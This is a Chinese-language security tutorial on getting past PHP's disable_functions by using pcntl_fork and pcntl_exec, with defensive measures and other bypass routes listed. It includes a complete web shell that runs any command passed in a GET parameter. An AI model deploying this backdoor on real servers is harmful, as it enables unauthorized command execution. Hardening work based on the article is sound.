php绕过大部分禁用函数限制执行命令
字数 876 2025-08-29 08:32:18

PHP绕过禁用函数限制执行命令技术分析

背景介绍

在PHP安全配置中,管理员通常会通过disable_functions指令禁用一些危险的函数来防止命令执行漏洞被利用。常见的被禁用函数包括:

passthru, exec, system, chroot, chgrp, chown, shell_exec, 
proc_open, proc_get_status, popen, ini_alter, ini_restore, 
dl, openlog, syslog, readlink, symlink, popepassthru, stream_socket_server

技术原理

当大部分常见的命令执行函数被禁用时,可以利用pcntl扩展中的函数来绕过限制。pcntl扩展提供了进程控制功能,通常不会在disable_functions中被禁用。

关键函数

  1. pcntl_fork() - 创建子进程
  2. pcntl_exec() - 在当前进程空间执行指定程序

绕过技术实现

方法一:利用临时文件和pcntl_exec

<?php
header("Content-Type: text/plain");

// 1. 创建临时可执行脚本
$cmd = "/tmp/exec";
@unlink($cmd); // 删除已存在的文件

// 2. 构造bash脚本内容,从GET参数获取命令
$c = "#!/usr/bin/env bash\n" . $_GET[x] . "> /tmp/output.txt\n";
file_put_contents($cmd, $c);

// 3. 设置可执行权限
chmod($cmd, 0777);

// 4. 读取命令执行结果
$cd = "/tmp/output.txt";
print_r(file_get_contents($cd));

// 5. 使用pcntl函数执行命令
switch(pcntl_fork()) {
    case 0: // 子进程
        $ret = pcntl_exec($cmd);
        exit("case 0");
    default: // 父进程
        echo "case 1";
        break;
}
?>

执行流程

  1. 创建一个临时bash脚本文件/tmp/exec
  2. 将攻击者提供的命令(通过x参数)写入该文件
  3. 设置文件可执行权限
  4. 使用pcntl_fork()创建子进程
  5. 在子进程中使用pcntl_exec()执行临时脚本
  6. 命令输出被重定向到/tmp/output.txt
  7. 读取并显示输出文件内容

防御措施

  1. 禁用pcntl扩展:在php.ini中移除或禁用pcntl扩展

    extension=pcntl.so ; 注释或删除这一行
    
  2. 限制文件操作权限

    • 设置open_basedir限制PHP可访问的目录
    • 确保/tmp目录不可被PHP写入
  3. 加强服务器配置

    • 使用SELinux或AppArmor限制进程行为
    • 定期审查服务器上的可疑文件
  4. 代码审计

    • 检查所有文件操作和进程创建相关的代码
    • 禁止用户输入直接用于文件操作或命令执行

其他可能的绕过方式

即使pcntl也被禁用,还有其他可能的绕过方法:

  1. LD_PRELOAD技巧:通过mail()等函数触发外部程序执行
  2. ImageMagick漏洞:利用图像处理库执行命令
  3. FFI扩展:如果启用,可通过调用系统库执行命令
  4. COM组件:在Windows系统上使用COM对象

总结

这种绕过技术利用了管理员通常不会禁用pcntl扩展的特点,通过创建临时可执行文件并利用进程控制函数来执行命令。防御此类攻击需要多层次的防护措施,包括禁用不必要的扩展、限制文件系统访问和加强进程隔离。

PHP绕过禁用函数限制执行命令技术分析 背景介绍 在PHP安全配置中,管理员通常会通过 disable_functions 指令禁用一些危险的函数来防止命令执行漏洞被利用。常见的被禁用函数包括: 技术原理 当大部分常见的命令执行函数被禁用时,可以利用 pcntl 扩展中的函数来绕过限制。 pcntl 扩展提供了进程控制功能,通常不会在 disable_functions 中被禁用。 关键函数 pcntl_fork() - 创建子进程 pcntl_exec() - 在当前进程空间执行指定程序 绕过技术实现 方法一:利用临时文件和pcntl_ exec 执行流程 创建一个临时bash脚本文件 /tmp/exec 将攻击者提供的命令(通过 x 参数)写入该文件 设置文件可执行权限 使用 pcntl_fork() 创建子进程 在子进程中使用 pcntl_exec() 执行临时脚本 命令输出被重定向到 /tmp/output.txt 读取并显示输出文件内容 防御措施 禁用pcntl扩展 :在php.ini中移除或禁用pcntl扩展 限制文件操作权限 : 设置 open_basedir 限制PHP可访问的目录 确保 /tmp 目录不可被PHP写入 加强服务器配置 : 使用SELinux或AppArmor限制进程行为 定期审查服务器上的可疑文件 代码审计 : 检查所有文件操作和进程创建相关的代码 禁止用户输入直接用于文件操作或命令执行 其他可能的绕过方式 即使pcntl也被禁用,还有其他可能的绕过方法: LD_ PRELOAD技巧 :通过mail()等函数触发外部程序执行 ImageMagick漏洞 :利用图像处理库执行命令 FFI扩展 :如果启用,可通过调用系统库执行命令 COM组件 :在Windows系统上使用COM对象 总结 这种绕过技术利用了管理员通常不会禁用 pcntl 扩展的特点,通过创建临时可执行文件并利用进程控制函数来执行命令。防御此类攻击需要多层次的防护措施,包括禁用不必要的扩展、限制文件系统访问和加强进程隔离。